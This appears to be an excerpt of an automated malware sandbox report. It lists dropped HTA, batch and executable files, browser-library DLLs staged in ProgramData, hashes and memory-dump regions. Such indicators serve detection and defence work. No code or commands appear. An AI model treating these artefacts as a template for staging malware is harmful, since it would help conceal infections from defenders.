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C:\Users\Admin\AppData\Local\Temp\5653.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\5653.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\hju.exe

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C:\Users\Public\hju.exe

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C:\Users\Public\mia.exe

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C:\Users\Public\mia.exe

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C:\Users\Public\mia.exe

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C:\Users\Public\mqv.exe

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C:\Users\Public\mqv.exe

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C:\Users\Public\mqv.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/196-18-0x0000000000000000-mapping.dmp

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memory/744-29-0x0000000000000000-mapping.dmp

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memory/744-33-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/748-2-0x0000000000000000-mapping.dmp

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memory/748-3-0x0000000000000000-mapping.dmp

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memory/1208-0-0x0000000000000000-mapping.dmp

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memory/1356-27-0x0000000000000000-mapping.dmp

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memory/2072-7-0x0000000000000000-mapping.dmp

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memory/2324-9-0x0000000000000000-mapping.dmp

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memory/2456-10-0x0000000000000000-mapping.dmp

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memory/2964-21-0x0000000000000000-mapping.dmp

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memory/3172-32-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/3172-28-0x0000000000000000-mapping.dmp

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memory/3292-96-0x0000000008490000-0x0000000008491000-memory.dmp

Filesize
4KB

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memory/3292-23-0x00000000031B0000-0x00000000031B1000-memory.dmp

Filesize
4KB

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memory/3292-56-0x0000000008530000-0x0000000008531000-memory.dmp

Filesize
4KB

Download
memory/3292-97-0x000000000A7A0000-0x000000000A7A1000-memory.dmp

Filesize
4KB

Download
memory/3292-95-0x0000000009950000-0x0000000009951000-memory.dmp

Filesize
4KB

Download
memory/3292-13-0x0000000000000000-mapping.dmp

Download
memory/3292-52-0x0000000007B80000-0x0000000007B81000-memory.dmp

Filesize
4KB

Download
memory/3292-19-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

Download
memory/3292-40-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

Filesize
4KB

Download
memory/3292-60-0x00000000083D0000-0x00000000083D1000-memory.dmp

Filesize
4KB

Download
memory/3292-38-0x0000000007460000-0x0000000007461000-memory.dmp

Filesize
4KB

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memory/3292-30-0x00000000072C0000-0x00000000072C1000-memory.dmp

Filesize
4KB

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memory/3516-154-0x0000000000000000-mapping.dmp

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memory/3740-25-0x00000000073F0000-0x00000000073F1000-memory.dmp

Filesize
4KB

Download
memory/3740-73-0x00000000091D0000-0x00000000091D1000-memory.dmp

Filesize
4KB

Download
memory/3740-68-0x0000000009C30000-0x0000000009C31000-memory.dmp

Filesize
4KB

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memory/3740-22-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/3740-42-0x0000000007D70000-0x0000000007D71000-memory.dmp

Filesize
4KB

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memory/3740-12-0x0000000000000000-mapping.dmp

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memory/3924-173-0x0000000000000000-mapping.dmp

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memory/4100-135-0x0000000000417A8B-mapping.dmp

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memory/4100-138-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4100-132-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4132-137-0x000000000041A684-mapping.dmp

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memory/4132-134-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4132-140-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4288-65-0x0000000000000000-mapping.dmp

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memory/4360-66-0x0000000000000000-mapping.dmp

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memory/4360-69-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/4440-72-0x0000000000000000-mapping.dmp

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memory/4576-84-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/4576-80-0x0000000000000000-mapping.dmp

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memory/4744-170-0x0000000000000000-mapping.dmp

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memory/4812-180-0x000000000043FCC3-mapping.dmp

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memory/4848-103-0x0000000000000000-mapping.dmp

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memory/4900-115-0x0000000000030000-0x0000000000031000-memory.dmp

Filesize
4KB

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memory/4900-112-0x00000000702A0000-0x000000007098E000-memory.dmp

Filesize
6.9MB

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memory/4900-109-0x0000000000000000-mapping.dmp

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memory/5032-119-0x0000000000000000-mapping.dmp

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memory/5044-120-0x0000000000000000-mapping.dmp

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memory/5104-129-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/5104-130-0x000000000043FCC3-mapping.dmp

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memory/5104-133-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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